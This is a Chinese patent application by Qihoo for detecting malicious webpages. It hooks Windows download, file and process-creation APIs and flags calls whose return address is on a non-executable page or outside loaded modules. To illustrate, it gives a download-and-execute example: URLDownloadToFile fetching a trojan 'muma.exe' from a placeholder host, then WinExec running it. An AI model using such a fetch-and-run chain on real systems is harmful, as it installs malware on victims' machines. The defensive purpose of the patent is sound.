CN102737188A - 检测恶意网页的方法及装置 - Google Patents

检测恶意网页的方法及装置 Download PDF

Info

Publication number
CN102737188A
CN102737188A CN2012102174865A CN201210217486A CN102737188A CN 102737188 A CN102737188 A CN 102737188A CN 2012102174865 A CN2012102174865 A CN 2012102174865A CN 201210217486 A CN201210217486 A CN 201210217486A CN 102737188 A CN102737188 A CN 102737188A
Authority
CN
China
Prior art keywords
api function
api
rogue program
malicious
called
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Pending
Application number
CN2012102174865A
Other languages
English (en)
Inventor
张聪
宋申雷
肖鹏
刘起
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Beijing Qihoo Technology Co Ltd
Original Assignee
Beijing Qihoo Technology Co Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Beijing Qihoo Technology Co Ltd filed Critical Beijing Qihoo Technology Co Ltd
Priority to CN2012102174865A priority Critical patent/CN102737188A/zh
Publication of CN102737188A publication Critical patent/CN102737188A/zh
Pending legal-status Critical Current

Links

Images

Abstract

本发明公开了检测恶意网页的方法及装置,其中,所述方法包括:对通过网页植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;当监控到所述全部API函数中有API函数被调用时,对被调用API函数的运行状态信息进行检测,以便判断对所述被调用API函数的调用是否合法;如果存在不合法的API函数调用,则确定当前通过浏览器进程打开的网页中存在恶意网页。通过本发明,有效的对利用系统漏洞攻击用户计算机,并向用户计算机植入并运行恶意程序的恶意网页进行检测,进而保护用户的计算机系统。

Description

检测恶意网页的方法及装置
技术领域
本发明涉及恶意网页检测技术领域,特别是涉及检测恶意网页的方法及装置。
背景技术
随着计算机应用的日益普及,包括病毒、木马在内的恶意程序的数量也迅速增长,其中的木马程序是一类可以通过在用户的计算机上运行,进而窃取用户文件、隐私、账户等信息,有的甚至还可以让黑客远程控制用户电脑的恶意程序。相比较传统的单纯以破坏计算机设备为目的的病毒,木马对计算机用户的侵害行为更具有获取利益的目的性,其窃取信息的行为常常会给用户造成巨大的损失,因此木马程序的危害也更大。恶意程序可以通过很多传播途径来侵害用户的电脑,例如便携的移动介质,如闪存盘,光盘等,而随着计算机网络技术的广泛应用,互联网逐渐成为恶意程序传播的主要途径之一,黑客或恶意程序传播者将木马等恶意程序文件伪装成其他类型文件,并引诱用户点击和下载,而恶意程序一旦被下载到用户计算机并成功运行,黑客或恶意程序传播者就可以利用这些恶意程序,进行破坏用户计算机,窃取用户个人信息等不法行为。
利用操作系统以及应用软件的漏洞实施攻击,是使恶意程序在用户计算机上成功植入和运行的最主要手段之一。漏洞是指操作系统软件或应用软件在逻辑设计上的缺陷或在编写时产生的错误。这些缺陷或错误往往可以被黑客利用来植入木马等恶意程序,侵害或控制甚至破坏用户计算机软硬件系统,或者窃取用户的重要资料和信息。漏洞问题会随着操作系统或应用软件的发布,以及用户的对操作系统或应用软件的深入研究和使用逐渐暴露出来。被发现的漏洞也会被操作系统或应用软件的提供者通过发布补丁软件等方式修补,或在以后发布的新版系统或软件升级中得以纠正。然而,在新版系统或应用软件纠正了旧版本中的漏洞的同时,也有可能会引入一些新的漏洞和错误;同时,对漏洞的修补在时间上具有一定的滞后性;以及实际应用中,漏洞补丁或者是新版系统或软件的安装并不能覆盖所有的用户,导致了现实的情况是,旧的系统漏洞不断消失,新的系统漏洞不断出现,系统漏洞和利用系统漏洞入侵用户计算机的问题也将长期存在。而随着互联网的发展,通过互联网传播的恶意程序与日俱增,当用户点击恶意网页时,利用用户计算机的漏洞进行攻击,进而触发恶意代码的运行,已成为因此恶意程序传播的主要方式之一,因此迫切需要本领域技术人员解决的技术问题就在于,提供一种检测恶意网页的方法,能够有效的对利用系统漏洞攻击用户计算机,并向用户计算机植入并运行恶意程序的恶意网页进行检测,进而保护用户的计算机系统。
发明内容
本发明提供了检测恶意网页的方法及装置,能够有效的对利用系统漏洞攻击用户计算机,并向用户计算机植入并运行恶意程序的恶意网页进行检测,进而保护用户的计算机系统。
本发明提供了如下方案:
一种检测恶意网页的方法,包括:
对通过网页植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;
当监控到所述全部API函数中有API函数被调用时,对被调用API函数的运行状态信息进行检测,以便判断对所述被调用API函数的调用是否合法;
如果存在不合法的API函数调用,则确定当前通过浏览器进程打开的网页中存在恶意网页。
可选的,所述植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数包括:恶意指令代码Shellcode在植入恶意程序以及运行恶意程序过程中可能调用的全部API函数。
可选的,所述植入恶意程序以及运行恶意程序过程中可能调用的全部API函数包括:
文件操作类API函数、网络请求下载类API函数以及执行命令类API函数。
可选的,所述当监控到所述API函数被调用时,对所述API的运行状态信息进行检测,以便判断所述API函数的调用是否合法,包括:
当监控到所述API函数被调用时,检测所述API函数的返回地址内存页属性,如果所述API函数的返回地址内存页属性为不可执行属性,则判定所述API函数的调用不合法。
可选的,所述当监控到所述API函数被调用时,对所述API的运行状态信息进行检测,以便判断所述API函数的调用是否合法,包括:
当监控到所述API函数被调用时,检测所述API函数的返回地址是否在所属模块的加载范围,如果所述API函数的返回地址不在所属模块的加载范围,则判定所述API函数的调用不合法。
可选的,所述对植入恶意程序以及运行恶意程序过程中可能调用的全部API函数进行监控,包括:
对植入恶意程序以及运行恶意程序过程中可能调用的不同版本的全部API函数进行监控。
可选的,还包括:
在确定当前通过浏览器进程打开的网页中存在恶意网页后,提示用户系统存在安全风险,需要终止浏览器进程,以便阻断恶意网页的恶意行为。
可选的,还包括:
在确定当前通过浏览器进程打开的网页中存在恶意网页后,结束浏览器进程,以便阻断恶意网页的恶意行为。
一种检测恶意网页的装置,包括:
监控单元,用于对通过网页植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;
检测单元,用于当监控到所述全部API函数中有API函数被调用时,对被调用API函数的运行状态信息进行检测,以便判断对所述被调用API函数的调用是否合法;
确定单元,用于如果存在不合法的API函数调用,则确定当前通过浏览器进程打开的网页中存在恶意网页。
可选的,所述监控单元具体用于:对恶意指令代码Shellcode在植入恶意程序以及运行恶意程序过程中可能调用的全部API函数进行监控。
可选的,所述植入恶意程序以及运行恶意程序过程中可能调用的全部API函数包括:
文件操作类API函数、网络请求下载类API函数以及执行命令类API函数。
可选的,所述检测单元,包括:
第一检测子单元,用于当监控到所述API函数被调用时,检测所述API函数的返回地址内存页属性,如果所述API函数的返回地址内存页属性为不可执行属性,则判定所述API函数的调用不合法。
可选的,所述检测单元,包括:
第二检测子单元,用于当监控到所述API函数被调用时,检测所述API函数的返回地址是否在所属模块的加载范围,如果所述API函数的返回地址不在所属模块的加载范围,则判定所述API函数的调用不合法。
可选的,所述监控单元具体用于:对植入恶意程序以及运行恶意程序过程中可能调用的不同版本的全部API函数进行监控。
可选的,还包括:
提示单元,用于在确定当前通过浏览器进程打开的网页中存在恶意网页后,提示用户系统存在安全风险,需要终止浏览器进程,以便阻断恶意网页的恶意行为。
可选的,还包括:
结束进程单元,用于在确定当前通过浏览器进程打开的网页中存在恶意网页后,结束浏览器进程,以便阻断恶意网页的恶意行为。
根据本发明提供的具体实施例,本发明公开了以下技术效果:
通过本发明,可以对植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;通过较全面的API函数监控,降低了遭到攻击的可能。进一步的,当监控到API函数被调用时,通过对被调用API函数的运行状态信息进行检测,可以判断出该API函数的调用是否合法;如果存在不合法的API函数调用,则确定当前打开的网页中存在恶意网页。通过本发明,可以有效的对利用系统漏洞攻击用户计算机,并向用户计算机植入并运行恶意程序的恶意网页进行检测,进而保护用户的计算机系统。
附图说明
为了更清楚地说明本发明实施例或现有技术中的技术方案,下面将对实施例中所需要使用的附图作简单地介绍,显而易见地,下面描述中的附图仅仅是本发明的一些实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。
图1是本发明实施例提供的方法的流程图;
图2是本发明实施例提供的装置的示意图。
具体实施方式
下面将结合本发明实施例中的附图,对本发明实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例仅仅是本发明一部分实施例,而不是全部的实施例。基于本发明中的实施例,本领域普通技术人员所获得的所有其他实施例,都属于本发明保护的范围。
下面就对本发明实施例提供的检测网页木马的方法进行详细的介绍,参见图1,该方法可以包括以下步骤:
S101:对通过网页植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;
在对操作系统或应用软件的漏洞的发现和修复的过程中,由于漏洞修复的滞后性,以及无法及时覆盖所有的用户,网络上总会有相当数量的存在漏洞的计算机在运行着,这就给了恶意程序的入侵以可乘之机。在互联网高速发展的今天,使用互联网浏览网页的用户越来越多,通过网页进行木马传播,逐渐成了恶意程序传播的主要途径。一个典型的利用系统漏洞或应用软件漏洞进行攻击进而植入和运行恶意程序的过程如下:当用户访问了黑客制作的恶意网页,并执行了网页中的脚本时,Shellcode中的代码将会通过脚本操作被写入到浏览器程序的堆内存中,此时,再通过针对系统或应用软件的漏洞的攻击,尤其是针对缓冲区溢出漏洞的攻击,造成程序执行流程跳转,从而使程序执行跳转到Shellcode所在的内存空间,并执行Shellcode中的代码,进而通过执行Shellcode代码完成植入和运行恶意程序。
Shellcode是一段可执行的CPU指令代码,或者称为机器代码,由于Shellcode经常是由黑客编写出来用于实施攻击目的,所以Shellcode也常被称为恶意指令代码。在利用系统漏洞或应用软件漏洞成功实施缓冲区溢出攻击后,Shellcode会获得执行权限,进而执行其内存空间中的指令代码。
Shellcode包含的指令代码可以根据编写者的意图完成许多任务,当被黑客用于实施攻击时,一种用途就是被用来通过网络下载和在目标计算机上执行黑客预先准备好的恶意程序,如木马程序等。而为了要实现Shellcode的“小规模化”和更好的隐蔽性,Shellcode通常会编写为一段数量很小的代码,当要实现较为复杂的功能,比如植入和运行木马,通常是通过查找和调用系统中相关功能的API来实现的。
一个典型的攻击过程示例如:在成功针对某一系统或应用软件漏洞进行攻击后,Shellcode获得执行权限,通过以下Shellcode指令代码调用系统网络下载API函数,将恶意程序文件通过网络下载到本地计算机,该过程的Shellcode代码如下所示:
Figure BDA00001816829900061
执行以上这段Shellcode相当于执行了以下API函数的调用语句:
URLDownloadToFile(NULL,″http://www.xx.com/muma.exe″,″C:\\muma.exe″,O,NULL)
上述代码的执行的结果,即通过调用API函数URLDownloadToFile完成了对木马文件“muma.exe”的下载,然后攻击者可以通过下面的Shellcode代码调用系统的执行命令类API函数,来运行已经下载到本地计算机的恶意程序文件:
Figure BDA00001816829900072
执行以上这段Shellcode相当于执行了以下API函数的调用语句:
Winexec(″c:\\muma.exe″,Null);
Shellcode通过调用执行命令的API函数Winexec,可以在目标计算机上执行已下载到本地的木马文件,如示例中的“c:\\muma.exe”。
基于以上对于利用系统漏洞或者应用软件漏洞进行攻击,使Shellcode获得执行权限,并调用系统API函数进行恶意程序的植入和执行的过程的分析,在本发明实施例提供的检测恶意网页的方法中,首先,对植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控。以Windows操作系统中使用HOOK钩子技术对目标API函数进行监控为例,具体在对植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控的过程中,可以预先对需要进行监控的目标API函数进行HOOK钩子处理,经过HOOK钩子处理后的API函数可以包含用于检测API调用是否合法的函数或代码,这样,经过HOOK钩子处理后的API函数在被调用时,调用行为就会被截获,从而实现了对目标API函数的监控,然后API函数的执行将跳转到执行用于检测API调用是否合法的函数或代码。
在黑客利用系统漏洞或应用程序漏洞实施攻击的过程中,借助Shellcode指令植入和运行恶意程序可以有多种不同的方法和过程,如可以由Shellcode指令执行直接将恶意程序文件下载到本地后直接运行;也可以将伪装后的恶意程序文件下载到本地后,对伪装恶意程序文件进行改名、移动等操作后运行,以逃避杀毒软件的查杀;也有的是在下载了恶意程序文件后将其放入随系统启动的程序所在的文件夹,以实现在系统启动时由系统加载运行恶意程序文件。等等诸如此类的植入和运行恶意程序的方法都离不开调用API函数,因此,可以对恶意指令代码Shellcode在植入恶意程序以及运行恶意程序过程中可能调用的全部API函数进行监控,以实现对植入恶意程序以及运行恶意程序过程中可能调用的全部API函数的全面监控。
在发明人实现本发明的过程中发现,在植入恶意程序以及运行恶意程序过程中可能调用的API函数,主要包括了以下三类经常被调用的相对关键的API函数:文件操作类API函数、网络请求下载类API函数以及执行命令类API函数。之所以这三类API函数被经常调用,是由其本身能实现的功能决定的:Shellcode要对恶意程序文件进行改名、拷贝、移动等操作,就需要调用文件操作类API函数;要从网络上下载恶意程序文件,则可以使用网络请求下载类API函数;而要运行恶意程序,则可以调用执行命令类API函数,以Windows操作系统提供的上述三类API为例,经常被调用的文件操作类API函数例如:
CopyFileA      CopyFileExW
CopyFileExA    MoveFileA
CopyFileW      MoveFileW
经常被调用的网络请求下载类API函数例如:
URLDownloadToCacheFileA    HttpOpenRequestW
URLDownloadToCacheFileW    InternetConnectA
URLDownloadToFileA         InternetConnectW
URLDownloadToFileW         InternetOpenUrlA
HttpOpenRequestA           InternetOpenUrlW
以及经常被调用的执行命令类API函数例如:
CreateProcessInternalW    ShellExecuteA
CreateProcessInternalA    ShellExecuteW
WinExec                   CreateProcessA
CreateProcessW
由于在黑客对目标计算机实施攻击行为的过程中,存在着各种各样不同的植入和运行恶意程序的过程和方法,单纯对某一类API函数进行监控,都有可能因为不具有广泛的针对性,而使得某些恶意程序得以绕过监控而成功运行,使黑客的攻击行为得逞,而上述三类API函数,是Shellcode为植入和运行恶意程序最经常调用的关键API函数,即利用Shellcode进行植入和运行恶意程序时,对上述三类API函数的依赖度很高,因此,针对这三类API函数进行监控,可以更有针对性的实现对API函数的监控,为以后检测API函数调用的合法性打下基础。当然上述三类API函数只是Shellcode经常调用的API函数的一部分,在与黑客攻击行为的对抗中,随着黑客技术的发展,往往会出现新的攻击手段,Shellcode可能会调用其他的API以实施攻击行为,因此,对于API函数调用的监控,可以不限于以上三类API函数。
此外,在一个操作系统中,同一API函数可能存在着不同的版本,例如Windows操作系统中提供的API函数大都同时存在着ASCII版和Unicode版两个版本,如用于网络下载的API函数URLDownloadToFile就存在ASCII版对应的URLDownloadToFileA函数以及Unicode版对应的URLDownloadToFileW函数。由于不同版本的API函数均可能被Shellcode利用以实施恶意行为,因此,在对植入恶意程序以及运行恶意程序过程中可能调用的API函数进行监控时,可以对植入恶意程序以及运行恶意程序过程中可能调用的不同版本的全部API函数进行监控,以针对Shellcode尝试调用同一API的不同版本实施恶意程序的植入和运行。
S102:当监控到所述全部API函数中有API函数被调用时,对被调用API函数的运行状态信息进行检测,以便判断对所述被调用API函数的调用是否合法;
在对目标API函数实施监控后,当目标API函数被调用时,可以对API函数的运行状态信息进行检测,如在Windows操作系统中,在使用HOOK钩子技术对目标API函数实施监控后,只要是对受监控的API函数的调用行为,都会被截获,然后通过运行经过预先设计好的用于检测API调用是否合法的函数或代码,实现对API函数的运行状态信息进行检测。
当监控到API函数被调用时,具体对API的运行状态信息的检测,可以是对目标API函数的返回地址内存页的属性进行检测,根据目标API函数的返回地址内存页的属性来判断目标API函数的调用是否合法。其中,API函数的返回地址就是指API函数的调用者所在的地址,因此,根据返回地址的特征可以确定API函数的调用者是否为恶意代码shellcode,如果能够确定出调用者是恶意代码,则此次调用就属于不合法的调用。在实现本发明的过程中发现,一般的恶意代码shellcode都是被写入数据的内存页面,不具备可执行权限。因此,可以通过检测API函数返回地址的内存页属性,来判断API函数调用是否合法,即如果检测到API函数的返回地址的内存页属性为不可执行属性,则判定该API函数的调用不合法。
在实际应用中,内存页的保护属性一般有如下8个:
(1)PAGE_NOACCESS:不可读,试图读取页面、写入页面或执行页面中的代码将引发访问违规
(2)PAGE_READONLY:只读权限,试图写入页面或执行页面中的代码将引发访问违规
(3)PAGE_READWRITE:可读可写权限,试图执行页面中的代码将引发访问违规
(4)PAGE_EXECUTE:可执行权限,试图读取页面或写入页面将引发访问违规
(5)PAGE_EXECUTE_READ:可读可执行权限,试图写入页面将引发访问违规
(6)PAGE_EXECUTE_READWRITE:可读可写可执行权限,对页面执行任何操作都不会引发访问违规
(7)PAGE_WRITECOPY:可写可拷贝权限,试图执行页面中的代码将引发访问违规
(8)PAGE_EXECUTE_WRITECOPY:可写可拷贝可执行权限,对页面执行任何操作都不会引发访问违规。
例如,包含代码的内存页被标记为PAGE_EXECUTE_READ,包含数据的内存页面被标记为PAGE_READWRITE等等。在上述权限中只有第4、5、6、8种具有可执行属性,而第1、2、3、7种都具有不可执行属性,因此,在本发明实施例中,在获取到API函数的返回地址之后,可以检测该返回地址的内存页属性,如果该内存页被标记为上述第1、2、3、7中的任意一种,则证明API函数的返回地址的内存页属性为不可执行属性,进而判定该API函数的调用不合法,可能会产生不良的影响。
另外,还可以通过检测被调用的API函数的返回地址是否在所属模块的加载范围,来判定对该API函数的调用是否合法。因为如果是正常的API函数调用,API函数的返回地址会在所属模块的加载地址范围内,否则,该API函数的调用应该属于非法调用。当监控到所述API函数被调用时,检测该API函数的返回地址是否在所属模块的加载范围,如果该API函数的返回地址不在所属模块的加载范围内,则判定所述API函数的调用不合法。
需要说明的是,这里所述的模块是指进程所加载的系统DLL(Dynamic LinkLibrary,动态链接库)模块或第三方软件的DLL模块,DLL模块由一组可供任何应用程序使用的独立函数组成,每个模块包含一些可供应用程序或其他DLL模块调用的函数。程序启动运行过程中会在用户的系统中对该DLL模块进行定位,并将该DLL模块映射到进程的地址空间中。所属模块的加载地址范围就是进程所调用的各个DLL模块映射到进程的地址空间范围。在实际应用中,每个DLL模块都有自己的内存地址范围,正常的API函数调用的返回地址都是在进程加载的DLL模块的内存地址范围;而恶意代码所在的内存空间一般都不会在当前DLL模块的内存地址范围内,因此,如果是恶意代码shellcode调用的API函数,则其返回地址就会出现在不所述模块的加载范围内的现象,也正因为如此,当出现这种现象时,可以判定出当前的调用可能是不合法的。
另外需要说明的是,在实际应用中,也可以将以上两种方式相结合来判定当前API调用的合法性,例如,在检测出API函数的返回地址的内存页的属性为不可执行属性的同时,如果还检测出API函数的返回地址不在所属模块的加载范围,则可以确定当前的API函数调用属于非法的调用,这里不再赘述。
S103:如果存在不合法的API函数调用,则确定当前通过浏览器进程打开的网页中存在恶意网页。
通过使用上述对API函数的监控和检测的方法,可以有效检测和判定系统中是否存在不合法的API函数调用,当检测到系统中不合法的API调用时,可以确定当前打开的网页中存在恶意网页。而在实际应用中,对于是否存在恶意网页的判定上,可以采取相对严格的策略,即当检测到系统中只要有一个API调用不合法,则确定当前通过浏览器进程打开的网页中存在恶意网页。
在确定当前通过浏览器进程打开的网页中存在恶意网页后,为了保护用户的计算机系统,可以给予用户当前打开的网页存在安全风险的提示,如提示用户当前打开的网页中存在恶意网页,需要终止浏览器进程;也可以在确定当前通过浏览器进程打开的网页中存在恶意网页后,直接结束浏览器进程,以更严格的限制恶意程序的植入和执行,更好的保护用户计算机。
与本发明实施例提供的检测恶意网页的方法相对应,本发明实施例还提供了一种检测恶意网页的装置,参见图2,该装置具体可以包括:
监控单元201,用于对通过网页植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;
检测单元202,用于当监控到所述全部API函数中有API函数被调用时,对被调用API函数的运行状态信息进行检测,以便判断对所述被调用API函数的调用是否合法;
确定单元203,用于如果存在不合法的API函数调用,则确定当前通过浏览器进程打开的网页中存在恶意网页。
由于在触发系统漏洞后,恶意程序的植入和执行指令通常是由恶意指令代码Shellcode获得执行权限后,调用系统API函数来实现的,植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数可以包括:恶意指令代码Shellcode在植入恶意程序以及运行恶意程序过程中可能调用的全部API函数,以实现更加全面的监控。
监控单元具体用于:对恶意指令代码Shellcode在植入恶意程序以及运行恶意程序过程中可能调用的全部API函数进行监控。
此外,针对恶意程序的植入和执行常常依赖于文件操作类API函数、网络请求下载类API函数以及执行命令类API函数,因此植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数还可以包括:文件操作类API函数、网络请求下载类API函数以及执行命令类API函数。
当监控到API函数被调用时,具体对API的运行状态信息的检测,可以是对目标API函数的返回地址内存页的属性进行检测,根据目标API函数的返回地址内存页的属性来判断目标API函数的调用是否合法,检测单元还可以包括:
第一检测子单元,用于当监控到所述API函数被调用时,检测所述API函数的返回地址内存页属性,如果所述API函数的返回地址内存页属性为不可执行属性,则判定所述API函数的调用不合法。
另外,还可以通过检测被调用的API函数的返回地址是否在所属模块的加载范围,来判定对该API函数的调用是否合法。检测单元还可以包括:
第二检测子单元,用于当监控到所述API函数被调用时,检测所述API函数的返回地址是否在所属模块的加载范围,如果所述API函数的返回地址不在所属模块的加载范围,则判定所述API函数的调用不合法。
在一个操作系统中,同一API函数可能存在着不同的版本,监控单元具体可以用于对植入恶意程序以及运行恶意程序过程中可能调用的不同版本的全部API函数进行监控。
在确定当前打开通过浏览器进程的网页中存在恶意网页后,还可以采取一定的措施,如提示用户,或者终止浏览器进程等,因此,检测恶意网页的装置还可以包括:
提示单元,用于在确定当前通过浏览器进程打开的网页中存在恶意网页后,提示用户终止浏览器进程,以便阻断恶意网页的恶意行为。
结束进程单元,用于在确定通过浏览器进程当前打开的网页中存在恶意网页后,结束浏览器进程,以便阻断恶意网页的恶意行为。
通过以上的实施方式的描述可知,本领域的技术人员可以清楚地了解到本发明可借助软件加必需的通用硬件平台的方式来实现。基于这样的理解,本发明的技术方案本质上或者说对现有技术做出贡献的部分可以以软件产品的形式体现出来,该计算机软件产品可以存储在存储介质中,如ROM/RAM、磁碟、光盘等,包括若干指令用以使得一台计算机设备(可以是个人计算机,服务器,或者网络设备等)执行本发明各个实施例或者实施例的某些部分所述的方法。
本说明书中的各个实施例均采用递进的方式描述,各个实施例之间相同相似的部分互相参见即可,每个实施例重点说明的都是与其他实施例的不同之处。尤其,对于装置或系统实施例而言,由于其基本相似于方法实施例,所以描述得比较简单,相关之处参见方法实施例的部分说明即可。以上所描述的装置及系统实施例仅仅是示意性的,其中所述作为分离部件说明的单元可以是或者也可以不是物理上分开的,作为单元显示的部件可以是或者也可以不是物理单元,即可以位于一个地方,或者也可以分布到多个网络单元上。可以根据实际的需要选择其中的部分或者全部模块来实现本实施例方案的目的。本领域普通技术人员在不付出创造性劳动的情况下,即可以理解并实施。
以上对本发明所提供的检测恶意网页的方法及装置,进行了详细介绍,本文中应用了具体个例对本发明的原理及实施方式进行了阐述,以上实施例的说明只是用于帮助理解本发明的方法及其核心思想;同时,对于本领域的一般技术人员,依据本发明的思想,在具体实施方式及应用范围上均会有改变之处。综上所述,本说明书内容不应理解为对本发明的限制。

Claims (16)

1.一种检测恶意网页的方法,其特征在于,包括:
对通过网页植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;
当监控到所述全部API函数中有API函数被调用时,对被调用API函数的运行状态信息进行检测,以便判断对所述被调用API函数的调用是否合法;
如果存在不合法的API函数调用,则确定当前通过浏览器进程打开的网页中存在恶意网页。
2.根据权利要求1所述的方法,其特征在于,所述植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数包括:恶意指令代码Shellcode在植入恶意程序以及运行恶意程序过程中可能调用的全部API函数。
3.根据权利要求1或2所述的方法,其特征在于,所述植入恶意程序以及运行恶意程序过程中可能调用的全部API函数包括:
文件操作类API函数、网络请求下载类API函数以及执行命令类API函数。
4.根据权利要求1所述的方法,其特征在于,所述当监控到所述API函数被调用时,对所述API的运行状态信息进行检测,以便判断所述API函数的调用是否合法,包括:
当监控到所述API函数被调用时,检测所述API函数的返回地址内存页属性,如果所述API函数的返回地址内存页属性为不可执行属性,则判定所述API函数的调用不合法。
5.根据权利要求1所述的方法,其特征在于,所述当监控到所述API函数被调用时,对所述API的运行状态信息进行检测,以便判断所述API函数的调用是否合法,包括:
当监控到所述API函数被调用时,检测所述API函数的返回地址是否在所属模块的加载范围,如果所述API函数的返回地址不在所属模块的加载范围,则判定所述API函数的调用不合法。
6.根据权利要求1所述的方法,其特征在于,所述对植入恶意程序以及运行恶意程序过程中可能调用的全部API函数进行监控,包括:
对植入恶意程序以及运行恶意程序过程中可能调用的不同版本的全部API函数进行监控。
7.根据权利要求1所述的方法,其特征在于,还包括:
在确定当前通过浏览器进程打开的网页中存在恶意网页后,提示用户系统存在安全风险,需要终止浏览器进程,以便阻断恶意网页的恶意行为。
8.根据权利要求1所述的方法,其特征在于,还包括:
在确定当前通过浏览器进程打开的网页中存在恶意网页后,结束浏览器进程,以便阻断恶意网页的恶意行为。
9.一种检测恶意网页的装置,其特征在于,包括:
监控单元,用于对通过网页植入恶意程序以及运行恶意程序过程中可能调用的全部应用程序编程接口API函数进行监控;
检测单元,用于当监控到所述全部API函数中有API函数被调用时,对被调用API函数的运行状态信息进行检测,以便判断对所述被调用API函数的调用是否合法;
确定单元,用于如果存在不合法的API函数调用,则确定当前通过浏览器进程打开的网页中存在恶意网页。
10.根据权利要求9所述的装置,其特征在于,所述监控单元具体用于:对恶意指令代码Shellcode在植入恶意程序以及运行恶意程序过程中可能调用的全部API函数进行监控。
11.根据权利要求9或10所述的装置,其特征在于,所述植入恶意程序以及运行恶意程序过程中可能调用的全部API函数包括:
文件操作类API函数、网络请求下载类API函数以及执行命令类API函数。
12.根据权利要求9所述的装置,其特征在于,所述检测单元,包括:
第一检测子单元,用于当监控到所述API函数被调用时,检测所述API函数的返回地址内存页属性,如果所述API函数的返回地址内存页属性为不可执行属性,则判定所述API函数的调用不合法。
13.根据权利要求9所述的装置,其特征在于,所述检测单元,包括:
第二检测子单元,用于当监控到所述API函数被调用时,检测所述API函数的返回地址是否在所属模块的加载范围,如果所述API函数的返回地址不在所属模块的加载范围,则判定所述API函数的调用不合法。
14.根据权利要求9所述的装置,其特征在于,所述监控单元具体用于:对植入恶意程序以及运行恶意程序过程中可能调用的不同版本的全部API函数进行监控。
15.根据权利要求9所述的装置,其特征在于,还包括:
提示单元,用于在确定当前通过浏览器进程打开的网页中存在恶意网页后,提示用户系统存在安全风险,需要终止浏览器进程,以便阻断恶意网页的恶意行为。
16.根据权利要求9所述的装置,其特征在于,还包括:
结束进程单元,用于在确定当前通过浏览器进程打开的网页中存在恶意网页后,结束浏览器进程,以便阻断恶意网页的恶意行为。
CN2012102174865A 2012-06-27 2012-06-27 检测恶意网页的方法及装置 Pending CN102737188A (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN2012102174865A CN102737188A (zh) 2012-06-27 2012-06-27 检测恶意网页的方法及装置

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN2012102174865A CN102737188A (zh) 2012-06-27 2012-06-27 检测恶意网页的方法及装置

Publications (1)

Publication Number Publication Date
CN102737188A true CN102737188A (zh) 2012-10-17

Family

ID=46992675

Family Applications (1)

Application Number Title Priority Date Filing Date
CN2012102174865A Pending CN102737188A (zh) 2012-06-27 2012-06-27 检测恶意网页的方法及装置

Country Status (1)

Country Link
CN (1) CN102737188A (zh)

Cited By (28)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN103617396A (zh) * 2013-11-29 2014-03-05 杭州华三通信技术有限公司 一种漏洞利用的检测方法和系统
CN103679032A (zh) * 2013-12-13 2014-03-26 北京奇虎科技有限公司 防御恶意软件的方法和装置
CN103714292A (zh) * 2014-01-15 2014-04-09 四川师范大学 一种漏洞利用代码的检测方法
CN103885808A (zh) * 2014-04-08 2014-06-25 北京奇虎科技有限公司 热补丁处理方法及装置
WO2014206070A1 (en) * 2013-06-27 2014-12-31 Tencent Technology (Shenzhen) Company Limited Method, system and server for monitoring and protecting a browser from malicious websites
CN104268473A (zh) * 2014-09-23 2015-01-07 龙芯中科技术有限公司 应用程序检测方法和装置
CN105488398A (zh) * 2015-12-04 2016-04-13 北京航空航天大学 Web应用程序行为提取方法和恶意行为检测方法
CN105828189A (zh) * 2015-01-05 2016-08-03 任子行网络技术股份有限公司 一种多维度检测违规音视频节目的方法
CN105868632A (zh) * 2016-04-20 2016-08-17 北京金山安全软件有限公司 一种拦截释放dhcp的方法及装置
CN106127041A (zh) * 2016-07-04 2016-11-16 北京金山安全软件有限公司 防止剪贴板数据被监听的方法、装置及终端设备
WO2016206565A1 (zh) * 2015-06-26 2016-12-29 阿里巴巴集团控股有限公司 恶意程序检测方法及装置
CN106372507A (zh) * 2016-08-30 2017-02-01 北京奇虎科技有限公司 恶意文档的检测方法及装置
CN106464513A (zh) * 2014-06-27 2017-02-22 迈克菲股份有限公司 用于抑制恶意调用的系统和方法
CN106529297A (zh) * 2016-11-22 2017-03-22 北京奇虎科技有限公司 获取应用程序状态信息的方法及装置
CN103927191B (zh) * 2013-01-11 2017-05-24 北京阿里巴巴云计算技术有限公司 函数调用的资源配置方法和装置
CN106709352A (zh) * 2015-11-12 2017-05-24 阿里巴巴集团控股有限公司 样本处理方法、装置及系统
CN107451470A (zh) * 2016-05-30 2017-12-08 阿里巴巴集团控股有限公司 页面安全检测方法、装置及设备
CN107528860A (zh) * 2017-10-12 2017-12-29 中国科学院计算机网络信息中心 网络安全测试方法、系统及存储介质
CN107704376A (zh) * 2016-08-11 2018-02-16 福建省天奕网络科技有限公司 游戏自动化测试方法及其系统
CN109684826A (zh) * 2018-01-15 2019-04-26 北京微步在线科技有限公司 应用程序沙箱反逃逸方法和电子设备
CN109739582A (zh) * 2018-12-12 2019-05-10 北京字节跳动网络技术有限公司 函数调用方法、装置、电子设备和计算机可读存储介质
CN110647743A (zh) * 2018-06-26 2020-01-03 北京安天网络安全技术有限公司 一种恶意行为的鉴定方法、装置和存储设备
